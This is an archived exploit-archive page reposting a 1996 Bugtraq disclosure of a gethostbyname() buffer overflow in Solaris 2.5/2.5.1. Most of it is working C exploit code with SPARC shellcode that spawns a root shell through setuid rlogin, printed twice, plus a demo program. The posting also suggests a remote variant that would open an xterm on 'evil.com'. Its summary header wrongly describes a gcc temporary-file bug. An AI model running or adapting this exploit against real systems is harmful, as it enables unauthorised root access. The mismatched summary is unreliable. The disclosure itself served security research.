Solaris gethostbyname() exploit

Summary
Description:gcc 2.7.2.x (and earlier as far as I know) creates temporary files in /tmp which will follow symlinks and allows you to clobber the files of the person running gcc
Author:Jeremy Elson (jelson@helix.nih.gov)
Compromise:Overwrite files owned by the user running gcc (possibly root )
Vulnerable Systems:Solaris 2.5 and 2.5.1
Date:18 November 1996
Notes:See addendum
Details

Exploit:
-------------------- rlogin-exploit.c --------------------------------------

/*
 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
 * by exploiting the gethostbyname() overflow in rlogin.
 *
 * gcc -o rlogin-exploit rlogin-exploit.c
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include 
#include 
#include 
#include 

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);

  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  perror("execl failed");
}
Addendum:
Here is Jeremy Elson's original posting to Bugtraq:
From: Jeremy Elson (jelson@helix.nih.gov)
Subject: Serious hole in Solaris 2.5[.1] gethostbyname() (exploit included)
Date: Mon, 18 Nov 1996 13:38:57 -0500

Hello,

I have found what I believe is a very serious security hole in the
gethostbyname() function provided in the nsl library of Solaris 2.5 and
2.5.1.  The hole allows local users to gain access to a root shell
(exploit program provided below).  There is a good chance this exploit can
be modified to allow a remote attack, but such a method has not yet been
found.

gethostbyname() appears to have a buffer overrun problem.  Calling
gethostbyname() on a Solaris 2.5 or 2.5.1 machine with an argument larger
than 8,251 characters causes a segmentation fault or bus error.  This does
*not* seem to happen under Solaris 2.4; some change made to the NSL
library between 2.4 and 2.5 seems to have broken this.

The buffer overrun can be readily exploited by passing a string to
gethostbyname() that contains assembler code to execute a shell and
overwrites the stack's return pointer so the flow of control jumps to that
code when the function tries to return.  (This technique was described in
detail in Phrack 49, and the exploit program below is based on their
writeup.)

The implications are somewhat alarming.  Any program that accepts a
hostname from the user without imposing a restriction on the length of the
hostname, and resolves it using gethostbyname(), is potentially
exploitable.  Any suid-root program fitting that description can be used
to gain root privileges.  The exploit program I have provided uses
/usr/bin/rlogin, but the same code also gives a root shell if used in
conjunction with rsh, ping, or traceroute.

If a suitable daemon can be found, this same technique can probably also
be used as a remote exploit.  The asm code in my exploit program simply
runs /bin/sh (BTW, I didn't write the shellcode myself; I copied it from a
similar program).  If the code is changed to run something else (for
example, 'xterm -display evil.com:0'), and a daemon can be found that will
resolve hostnames without restricting their length, remote root access may
be possible.  For example, any mail daemon might work (HELO )
or the finger daemon (finger krusty@{overflow_string}@victim.com).

Note that all sites running a public traceroute or ping gateway under
Solaris 2.5 or 2.5.1 are also potentially vulnerable, and probably should
disable those services until a patch is available (or indefinitely).

Sun has been notified of this bug; they told me they are already aware of
it, but a patch is not yet available.

Finally, I am enclosing below two programs.  The first (rlogin-exploit.c)
executes a root shell under Solaris 2.5[.1] by passing an appropriately
constructed string to /usr/bin/rlogin as its argument, which rlogin then
resolves using gethostbyname().  This program also works to exploit rsh,
ping, traceroute, etc.

The second (overflow-demo.c) is an almost identical program, except that
it directly calls gethostbyname() instead of using rlogin.  The result is
a shell of the same UID as the calling program.  The purpose of this
program is simply to demonstrate that the bug is part of the NSL library,
not rlogin.

Thank you to Jeremy Rauch (jed@cs.jhu.edu) for useful advice in working up
this bug.

Jeremy Elson
Division of Computer Research and Technology
National Institutes of Health
Bethesda, MD
Email: jeremy.elson@nih.gov
Phone: (301) 402-0349

-------------------- rlogin-exploit.c --------------------------------------

/*
 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
 * by exploiting the gethostbyname() overflow in rlogin.
 *
 * gcc -o rlogin-exploit rlogin-exploit.c
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include 
#include 
#include 
#include 

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);

  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  perror("execl failed");
}

-------------------- overflow-demo.c --------------------------------------

/*
 * overflow-demo.c: demonstrates the buffer overrun of gethostbyname()
 * in Solaris 2.5/2.5.1.  This should execute a subshell of the same userid
 * as the calling program.
 *
 * gcc -o overflow-demo overflow-demo.c -lnsl
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define BUF_LENGTH      8200
#define EXTRA           100
#define SPARC_NOP       0xa61cc013
#define STACK_OFFSET    4000

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);
  gethostbyname(buf);
}
More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]